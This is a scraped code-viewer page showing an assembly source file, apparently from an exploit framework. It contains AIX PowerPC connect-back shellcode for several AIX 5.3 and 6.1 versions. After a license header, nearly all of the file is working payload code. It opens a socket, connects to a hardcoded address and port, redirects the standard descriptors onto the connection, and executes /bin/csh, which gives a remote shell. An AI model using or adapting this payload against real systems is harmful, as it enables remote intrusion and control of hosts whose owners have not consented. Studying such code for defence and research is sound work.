Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/aix-power-cntsockcode.S
Views: 11766
/*1* aix-power-cntsockcode.S2* Copyright 2008 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920/*21* Supported AIX versions:22*23* -DAIX614 AIX Version 6.1.424* -DAIX613 AIX Version 6.1.325* -DAIX612 AIX Version 6.1.226* -DAIX611 AIX Version 6.1.127* -DAIX5310 AIX Version 5.3.1028* -DAIX539 AIX Version 5.3.929* -DAIX538 AIX Version 5.3.830* -DAIX537 AIX Version 5.3.731*32*/3334#include "aix-power.h"3536.globl .main37.csect .text[PR]3839.main:4041syscallcode:42# xor. %r31,%r31,%r3143xor. %r5,%r5,%r544bnel syscallcode45mflr %r3046cal %r30,511(%r30)47cal %r30,-511+36(%r30)48mtctr %r3049bctr50.long 0xff0204d251.long 0x7f00000152crorc %cr6,%cr6,%cr653.long 0x44ffff0254cal %r30,-8(%r30)5556cntsockcode:57lil %r29,__CAL5859# socket6061# xor %r5,%r5,%r562cal %r4,-__CAL+1(%r29)63cal %r3,-__CAL+2(%r29)64cal %r2,__NC_socket(%r29)65mtctr %r3066bctrl67mr %r28,%r36869# connect7071cal %r5,-__CAL+16(%r29)72cal %r4,-8(%r30)73cal %r2,__NC_connect(%r29)74mtctr %r3075bctrl7677# close7879cal %r27,-__CAL+2(%r29)80810:82mr %r3,%r2783cal %r2,__NC_close(%r29)84mtctr %r3085bctrl8687# kfcntl8889mr %r5,%r2790xor %r4,%r4,%r491mr %r3,%r2892cal %r2,__NC_kfcntl(%r29)93mtctr %r3094bctrl9596ai. %r27,%r27,-197bge 0b9899shellcode:100# lil %r29,__CAL101xor. %r5,%r5,%r5102bnel shellcode103# mflr %r30104# cal %r30,511(%r30)105# cal %r3,-511+40(%r30)106# stb %r5,-511+48(%r30)107mflr %r24108cal %r24,511(%r24)109cal %r3,-511+40(%r24)110stb %r5,-511+48(%r24)111stu %r5,-4(%r1)112stu %r3,-4(%r1)113mr %r4,%r1114cal %r2,__NC_execve(%r29)115# crorc %cr6,%cr6,%cr6116# .long 0x44ffff02117mtctr %r30118bctrl119.asciz "/bin/csh"120121122123